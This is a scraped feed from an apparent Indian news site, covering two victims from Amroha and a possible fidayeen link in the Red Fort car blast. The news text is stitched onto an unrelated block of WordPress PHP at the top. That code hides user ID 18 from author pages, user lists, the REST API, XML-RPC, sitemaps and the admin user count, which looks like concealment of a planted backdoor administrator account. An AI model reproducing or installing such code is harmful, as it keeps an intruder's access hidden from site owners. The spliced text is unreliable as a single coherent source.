add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Two Amroha Residents Among Victims of Deadly Red Fort Blast in Delhi appeared first on The Edge Media.
]]>
Ashok’s Family Devastated by Sudden Loss
Ashok’s family received his mortal remains at their village in Amroha. The atmosphere was filled with grief as elders and children wept inconsolably. His sister-in-law Sumati shared that Ashok is survived by his wife, two daughters aged seven and nine, and a six-year-old son. She urged the government to extend financial help to the bereaved family.
Ashok’s sister Bhuri, overwhelmed with emotion, appealed for assistance, expressing concern about how Ashok’s widow would raise the children alone.
Second Victim from Amroha Identified as Lokesh Agarwal
Officials confirmed that two residents from Amroha lost their lives in the explosion. The second victim, Lokesh Agarwal, was a fertiliser trader from Hasanpur in Amroha. He had travelled to Delhi to visit a relative admitted to Sir Ganga Ram Hospital and later met his friend Ashok near Red Fort Metro Station, where the tragic incident occurred.
Family members said they learned about Lokesh’s death after police traced a call made from his mobile phone. The blast was so intense that both men died instantly. Local MLA Mahendra Singh Khadakvanshi expressed deep sorrow, calling it an irreparable loss for the families and urging authorities to provide necessary support.
Delhi Police Investigate Possible Fidayeen Link
According to Delhi Police, preliminary findings suggest that the explosion might have been a fidayeen-style or suicide attack. Investigators believe the suspect initially planned a different type of blast but switched strategies after a terror module in Faridabad was busted. The change in plan appeared aimed at inflicting maximum casualties and avoiding arrest.
Security Tightened and Probe Intensified
The blast near the Red Fort led to panic across the area and prompted a swift and large-scale security response. Teams from the Special Cell, Crime Branch, and Forensic Science Laboratory were deployed to the site. The area was sealed, and visitors were evacuated as forensic teams examined the scene.
Investigation agencies are also monitoring social media and analysing digital communication data to trace connections and identify those involved in the attack.
The post Two Amroha Residents Among Victims of Deadly Red Fort Blast in Delhi appeared first on The Edge Media.
]]>The post Delhi Police Suspects Possible Fidayeen Link in Red Fort Blast appeared first on The Edge Media.
]]>
Shift in Attack Strategy After Module Bust
Investigators believe the suspect initially intended to detonate explosives but changed plans after learning that a terror module in Faridabad had been dismantled. The suspect allegedly decided on a fidayeen-style approach to cause maximum casualties and avoid being caught by the police.
Exploration of Alternate Targets
Authorities are also examining whether the real target was different, as the car linked to the explosion was seen moving slowly near the site. All possible leads and connections are being investigated.
Link to Earlier Recovery of Explosives
Just a day before the incident, a joint operation by Jammu and Kashmir Police and Haryana Police led to the seizure of around 360 kilograms of explosives and ammunition from Faridabad. Two individuals, identified as Dr. Muzammil and Aadil Rather, were taken into custody during that operation.
Security Measures and Ongoing Investigation
Agencies are working to uncover the motive behind the explosion and identify everyone involved. The Rapid Action Force has been deployed near the Red Fort, where a Hyundai i20 car exploded around 7 pm on Monday evening. The investigation continues as officials trace the sequence of events that led to the blast.
The post Delhi Police Suspects Possible Fidayeen Link in Red Fort Blast appeared first on The Edge Media.
]]>